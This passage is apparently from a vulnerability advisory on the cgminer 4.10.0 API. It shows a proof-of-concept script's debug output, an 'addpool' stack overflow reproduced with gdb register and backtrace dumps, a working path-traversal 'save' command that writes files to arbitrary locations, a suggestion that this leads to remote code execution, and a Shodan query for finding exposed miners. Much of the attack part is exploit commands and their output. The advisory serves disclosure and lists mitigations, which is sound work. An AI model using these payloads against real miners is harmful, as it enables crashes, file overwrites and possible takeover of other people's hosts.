[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpudisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuintensity", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuintensity' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuengine", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuengine' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "asc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'asc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pools", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pools' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "lcd", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'lcd' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpucount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpu", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "coin", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'coin' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpudisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "restart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'restart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procnotify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procnotify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgadisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgadisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "proccount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'proccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "setconfig", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'setconfig' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "lockstats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'lockstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "proc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'proc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "enablepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'enablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "summary", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'summary' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devscan", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devscan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "removepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'removepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "poolpriority", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'poolpriority' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpu", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}

[cgminer.py -             <module>() ][    INFO] [+] Capabilities: ['version', 'asccount', 'disablepool', 'hotplug', 'estats', 'zero', 'usbstats', 'failover-only', 'notify', 'edevs', 'poolquota', 'addpool', 'check', 'devdetails', 'quit', 'stats', 'switchpool', 'setconfig', 'pgacount', 'save', 'config', 'privileged', 'debug', 'lcd', 'coin', 'restart', 'lockstats', 'pools', 'enablepool', 'summary', 'devs', 'removepool', 'poolpriority']

[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: 'addpool|===...===\n'
[cgminer.py -             <module>() ][   ERROR] ValueError('need more than 1 value to unpack',)
[cgminer.py -             <module>() ][ WARNING] Remote host died :/
[cgminer.py -             <module>() ][    INFO] --done--

This causes a stack buffer overwrite resulting in a corrupted stack and subsequent crash of the application.

 [xxxx] API: connection from 192.168.2.106 - Accepted
 [xxxx] API: recv command: (8009) 'addpool|============================================================================================================================================================================================================================
addpool ===...===

Thread 71 "cg@API" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff1cd9700 (LWP 40933)]
0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
887                     api_data->prev = root->prev;


(gdb) i r
rax            0x5c3d5c3d5c3d5c3d       6646570043679005757
rbx            0x57     87
rcx            0x535554 5461332
rdx            0x1      1
rsi            0x54415453       1413567571
rdi            0x7fffa4000c70   140735944854640
rbp            0x7ffff1cd16e0   0x7ffff1cd16e0
rsp            0x7ffff1cd15b0   0x7ffff1cd15b0
r8             0x0      0
r9             0x3e9b   16027
r10            0x7fffa4000c70   140735944854640
r11            0x7ffff1cd55ea   140737250153962
r12            0x0      0
r13            0x7fffffffc0ff   140737488339199
r14            0x7ffff1cd99c0   140737250171328
r15            0x7ffff1cd9700   140737250170624
rip            0x55555558fb22   0x55555558fb22 <api_add_data_full+184>
eflags         0x10202  [ IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

(gdb) where
#0  0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
#1  0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
    copy_data=false) at api.c:999
#2  0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
    param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
#3  0x5c3d5c3d5c3d5c3d in ?? ()
#4  0x5c3d5c3d5c3d5c3d in ?? ()
#5  0x5c3d5c3d5c3d5c3d in ?? ()
#6  0x5c3d5c3d5c3d5c3d in ?? ()
#7  0x5c3d5c3d5c3d5c3d in ?? ()
#8  0x5c3d5c3d5c3d5c3d in ?? ()
#9  0x5c3d5c3d5c3d5c3d in ?? ()
#10 0x5c3d5c3d5c3d5c3d in ?? ()
#11 0x5c3d5c3d5c3d5c3d in ?? ()
#12 0x5c3d5c3d5c3d5c3d in ?? ()
#13 0x5c3d5c3d5c3d5c3d in ?? ()
#14 0x5c3d5c3d5c3d5c3d in ?? ()
#15 0x5c3d5c3d5c3d5c3d in ?? ()
#16 0x5c3d5c3d5c3d5c3d in ?? ()
#17 0x5c3d5c3d5c3d5c3d in ?? ()
#18 0x5c3d5c3d5c3d5c3d in ?? ()
#19 0x5c3d5c3d5c3d5c3d in ?? ()
#20 0x5c3d5c3d5c3d5c3d in ?? ()
#21 0x5c3d5c3d5c3d5c3d in ?? ()
#22 0x5c3d5c3d5c3d5c3d in ?? ()
#23 0x5c3d5c3d5c3d5c3d in ?? ()
#24 0x5c3d5c3d5c3d5c3d in ?? ()
#25 0x5c3d5c3d5c3d5c3d in ?? ()
#26 0x5c3d5c3d5c3d5c3d in ?? ()
#27 0x5c3d5c3d5c3d5c3d in ?? ()
#28 0x5c3d5c3d5c3d5c3d in ?? ()

(gdb) bt full
#0  0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
    data=0x7ffff1cd1750, copy_data=false) at api.c:887
        api_data = 0x7fffa4001c30
        __func__ = "api_add_data_full"
#1  0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
    copy_data=false) at api.c:999
No locals.
#2  0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
    param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
        root = 0x5c3d5c3d5c3d5c3d
        buf = "Invalid addpool details '\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\"...
        severity = "E"
        i = 1547525181
        id = 0
#3  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#4  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#5  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#6  0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
...

It is clearly visible that the stack has been smashed by the string \= (0x5c3d).

  1. [vector 2] absolute path traversal in save allows to write the node configuration file to any location on the host not protected by any basedir restrictions.

```#> poc.py –vector=traverse_save 192.168.2.114:4028 … [cgminer.py - sendRcv() ][ DEBUG] sendRcv: ‘{“parameter”: “/tmp/pwnd.file”, “command”: “save”}\n’ [cgminer.py - () ][ INFO] --done-- {u'STATUS': [{u'STATUS': u'S', u'Msg': u"Configuration saved to file '/tmp/pwnd.file'", u'Code': 44, u'When': xxxxx, u'Description': u'cgminer 4.10.0'}], u'id': 1}


This will store the node's configuration file with the permissions of the user that launched the process as
`/tmp/pwnd.file` on the host computer. This could very likely be used to gain RCE by planting scripting code into
webroots on the same host or overwriting arbitrary files.

Miner Log:

… [xxxx] API: connection from 192.168.2.106 - Accepted [xxxx] API: recv command: (51) ‘{“parameter”: “/tmp/pwnd.file”, “command”: “save”} [xxxx] API: send reply: (147) ‘{“STATUS”:…’ [xxxx] API: sent all of 147 first go …


Host Computer:

#> stat /tmp/pwnd.file File: ‘/tmp/pwnd.file’ Size: 2384 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 681465 Links: 1 Access: (0664/-rw-rw-r–) Uid: ( 1000/ tin) Gid: ( 1000/ tin) Access: xxxx Modify: xxxx Change: xxxx Birth: -

#> cat /tmp/pwnd.file { “pools” : [ { “url” : “stratum+tcp://ltc-eu.give-me-coins.com:3334”, “user” : “a”, “pass” : “a” }, … ] , “api-allow” : “W:0/0”, “api-description” : “cgminer 4.10.0”, “api-listen” : true, “api-mcast-addr” : “224.0.0.75”, “api-mcast-code” : “FTW”, “api-mcast-des” : “”, “api-mcast-port” : “4028”, “api-port” : “4028”, “api-host” : “0.0.0.0”, “fallback-time” : “120”, “log” : “5”, “shares” : “0”, “suggest-diff” : “0”, “text-only” : true, “verbose” : true } ```

Patch / Mitigation

* input validation/sanitation
* use safe string handling functions
* path restriction
* enforce transport security
* authenticate api; wait for specific command to leak banner; remove readonly commands and authenticate them

Notes

References

[1] https://github.com/ckolivas/cgminer/releases
[2] https://bitcointalk.org/index.php?topic=28402.0
[3] https://github.com/luke-jr/bfgminer
[4] http://bfgminer.org/
[5] https://bitcointalk.org/?topic=877081
[6] https://www.shodan.io/search?query=Msg%3DInvalid+command%2CDescription%3D

Contact

https://github.com/tintinweb